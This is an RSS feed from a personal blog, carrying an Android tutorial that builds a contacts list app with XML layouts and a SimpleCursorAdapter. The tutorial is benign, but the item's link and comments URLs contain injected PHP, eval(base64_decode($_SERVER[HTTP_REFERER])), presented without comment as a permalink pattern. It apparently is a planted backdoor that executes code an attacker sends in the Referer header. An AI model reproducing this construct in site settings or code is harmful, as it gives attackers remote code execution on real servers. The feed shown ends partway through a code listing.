<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>WarrenFaith - Senseless</title>
	<atom:link href="http://www.warrenfaith.de/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.warrenfaith.de</link>
	<description>...just too simple</description>
	<pubDate>Sat, 07 Mar 2009 18:18:54 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>First list application</title>
		<link>http://www.warrenfaith.de/2009/02/25/first-list-application/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2009/02/25/first-list-application/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 25 Feb 2009 16:19:43 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[android]]></category>

		<category><![CDATA[ListActivity]]></category>

		<category><![CDATA[ListView]]></category>

		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=220</guid>
		<description><![CDATA[Attention: My android posts will now be published on droidnova.com &#124; Link to this article: First list application
Yesterday I started a tutorial I found on the youtube channel of androiddevelopers. The intent of this tutorial is to create an application that shows all contacts by name. You also should be able to click on the [...]]]></description>
			<content:encoded><![CDATA[<p>Attention: My android posts will now be published on <a href="http://www.droidnova.com">droidnova.com</a> | Link to this article: <a href="http://www.droidnova.com/first-list-application,37.html" rel="nofollow">First list application</a></p>
<p>Yesterday I started a <a href="http://www.youtube.com/watch?v=I6ObTqIiYfE" rel="nofollow">tutorial</a> I found on the <a href="http://www.youtube.com/user/androiddevelopers" rel="nofollow">youtube channel of androiddevelopers</a>. The intent of this tutorial is to create an application that shows all contacts by name. You also should be able to click on the name and the phone will start a call to this contact.</p>
<p>The tutorial itself is more than a year old, has some failures and some stuff isn&#8217;t available in the same way the tutorial shows. I will show you what you have to do to be successfully program this little android application and I will show you some useful layout improvements.</p>
<p>The first thing you should do is creating a new project in Eclipse (or in your IDE). I chose &#8220;de.warrenfaith.android.contacts&#8221; as package and &#8220;ListContacts&#8221; as activity name.<br />
After you have done this, you should open the main.xml to modify the layout.</p>
<p>The first XML node is responsible for the entire applications. Every UI element you want to display should be setup here.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span> <span style="color: #000066;">xmlns:android</span>=<span style="color: #ff0000;">&quot;http://schemas.android.com/apk/res/android&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;horizontal&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p><strong>Line 1</strong> is the normal XML DocType.<br />
<strong>Line 2</strong> defines the LinearLayout node.<br />
<strong>Line 3</strong> defines the orientation which is horizontal, so that every child element will be displayed from left to right.<br />
<strong>Line 4-5</strong> defines that this layout will fill the whole parent which is the screen because it is the first defined element.<br />
<strong>Line 6</strong> closes the layout element.</p>
<p>Now lets add a static image for our list. We will use the default icon which every new project has in his res/drawable directory.<br />
We need to add this to our main.xml this way:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span> <span style="color: #000066;">xmlns:android</span>=<span style="color: #ff0000;">&quot;http://schemas.android.com/apk/res/android&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;horizontal&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;ImageView</span> <span style="color: #000066;">android:src</span>=<span style="color: #ff0000;">&quot;@drawable/icon&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>New are the lines 6 to 8.<br />
<strong>Line 6</strong> creates a new node for ImageView and defines the source of the image. @drawable is the &#8220;link&#8221; to the res/drawable directory to look for a image named icon<br />
<strong>Line 7-8</strong> defines the layout which is here set to wrap the content so it just use the space the image really needs.</p>
<p>The next step is to setup the TextViews for the contact name and the TextViews for the phone number.<br />
The contact name should stay above the phone number, so we need to define the next LinearLayout with the orientation as a child node of the first LinearLayout. The main.xml should now look like this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span> <span style="color: #000066;">xmlns:android</span>=<span style="color: #ff0000;">&quot;http://schemas.android.com/apk/res/android&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;horizontal&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;ImageView</span> <span style="color: #000066;">android:src</span>=<span style="color: #ff0000;">&quot;@drawable/icon&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;vertical&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>Now we want to fill this child node with another LinearLayout with horizontal orientation to have the label &#8220;Name:&#8221; and the contact name in one line.<br />
First the contact name, so lets cut and paste the following XML snippet below:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;horizontal&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;TextView</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:text</span>=<span style="color: #ff0000;">&quot;Name: &quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;TextView</span> <span style="color: #000066;">android:id</span>=<span style="color: #ff0000;">&quot;@+id/contact_name&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>Now the phone number:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;horizontal&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;TextView</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:text</span>=<span style="color: #ff0000;">&quot;Phone: &quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;TextView</span> <span style="color: #000066;">android:id</span>=<span style="color: #ff0000;">&quot;@+id/phone_number&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>Confused? I don&#8217;t hope so, but here is an image to realize what is what:<br />
<div id="attachment_237" class="wp-caption alignnone" style="width: 523px"><img src="http://www.warrenfaith.de/blog/wp-content/listview.jpg" alt="ListView Schema" title="listview" width="513" height="92" class="size-full wp-image-237" /><p class="wp-caption-text">ListView Schema</p></div></p>
<p>And here is the final main.xml:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span> <span style="color: #000066;">xmlns:android</span>=<span style="color: #ff0000;">&quot;http://schemas.android.com/apk/res/android&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;horizontal&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;ImageView</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:src</span>=<span style="color: #ff0000;">&quot;@drawable/icon&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">    <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;vertical&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span></span>
<span style="color: #009900;">        <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;fill_parent&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span></span>
<span style="color: #009900;">            <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;horizontal&quot;</span></span>
<span style="color: #009900;">            <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">            <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;TextView</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:text</span>=<span style="color: #ff0000;">&quot;Name: &quot;</span></span>
<span style="color: #009900;">            <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;TextView</span> <span style="color: #000066;">android:id</span>=<span style="color: #ff0000;">&quot;@+id/contact_name&quot;</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">            <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;LinearLayout</span></span>
<span style="color: #009900;">            <span style="color: #000066;">android:orientation</span>=<span style="color: #ff0000;">&quot;horizontal&quot;</span></span>
<span style="color: #009900;">            <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">            <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;TextView</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:text</span>=<span style="color: #ff0000;">&quot;Phone: &quot;</span></span>
<span style="color: #009900;">            <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;TextView</span> <span style="color: #000066;">android:id</span>=<span style="color: #ff0000;">&quot;@+id/phone_number&quot;</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:layout_width</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">                <span style="color: #000066;">android:layout_height</span>=<span style="color: #ff0000;">&quot;wrap_content&quot;</span></span>
<span style="color: #009900;">            <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/LinearLayout<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>Everybody who is thinking about webdesign and div-layout is understanding the android user interface layout.</p>
<p>Now it is time to create the Activity, in our case, the ListActivity.<br />
My activity class is named ListContacts and looks like this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">package</span> <span style="color: #006699;">de.warrenfaith.android.contacts</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.app.Activity</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.os.Bundle</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ListContacts <span style="color: #000000; font-weight: bold;">extends</span> ListActivity <span style="color: #009900;">&#123;</span>
&nbsp;
    @Override
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> onCreate<span style="color: #009900;">&#40;</span>Bundle savedInstanceState<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">super</span>.<span style="color: #006633;">onCreate</span><span style="color: #009900;">&#40;</span>savedInstanceState<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        setContentView<span style="color: #009900;">&#40;</span>R.<span style="color: #006633;">layout</span>.<span style="color: #006633;">main</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>First of all we can delete the line 11 because its just not needed in our application.<br />
The next step is to create a cursor which can iterate over our contacts on the phone. To get the cursor we use the ContentResolver and start a query.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #003399;">Cursor</span> cursor <span style="color: #339933;">=</span> getContentResolver<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">query</span><span style="color: #009900;">&#40;</span>People.<span style="color: #006633;">CONTENT_URI</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
startManagingCursor<span style="color: #009900;">&#40;</span>cursor<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>The next step is to create a mapping. First we define the colums we want to use from the query.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> columns <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span>People.<span style="color: #006633;">NAME</span>, People.<span style="color: #006633;">NUMBER</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>The next step is to define the destination on which the values from the query are mapped.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000066; font-weight: bold;">int</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> names <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000066; font-weight: bold;">int</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span>R.<span style="color: #006633;">id</span>.<span style="color: #006633;">contact_name</span>, R.<span style="color: #006633;">id</span>.<span style="color: #006633;">phone_number</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Now we create a SimpleCursorAdapter and use it.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">myAdapter <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleCursorAdapter<span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>, R.<span style="color: #006633;">layout</span>.<span style="color: #006633;">main</span>, cursor, columns, names<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
setListAdapter<span style="color: #009900;">&#40;</span>myAdapter<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>The variable myAdapter is a class variable so we can later access it easily.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">private</span> SimpleCursorAdapter myAdapter<span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>The actual Activity should look like this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">package</span> <span style="color: #006699;">de.warrenfaith.android.contacts</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.app.ListActivity</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.database.Cursor</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.os.Bundle</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.provider.Contacts.People</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.widget.SimpleCursorAdapter</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ListContacts <span style="color: #000000; font-weight: bold;">extends</span> ListActivity <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">private</span> SimpleCursorAdapter myAdapter<span style="color: #339933;">;</span>
&nbsp;
    @Override
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> onCreate<span style="color: #009900;">&#40;</span>Bundle savedInstanceState<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">super</span>.<span style="color: #006633;">onCreate</span><span style="color: #009900;">&#40;</span>savedInstanceState<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #003399;">Cursor</span> cursor <span style="color: #339933;">=</span> getContentResolver<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">query</span><span style="color: #009900;">&#40;</span>People.<span style="color: #006633;">CONTENT_URI</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        startManagingCursor<span style="color: #009900;">&#40;</span>cursor<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> columns <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span>People.<span style="color: #006633;">NAME</span>, People.<span style="color: #006633;">NUMBER</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">int</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> names <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000066; font-weight: bold;">int</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span>R.<span style="color: #006633;">id</span>.<span style="color: #006633;">contact_name</span>, R.<span style="color: #006633;">id</span>.<span style="color: #006633;">phone_number</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
        myAdapter <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleCursorAdapter<span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>, R.<span style="color: #006633;">layout</span>.<span style="color: #006633;">main</span>, cursor, columns, names<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        setListAdapter<span style="color: #009900;">&#40;</span>myAdapter<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Now we can implement the click and call feature.<br />
Lets override the onListItemClick() method from the super class ListActivity.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">@Override
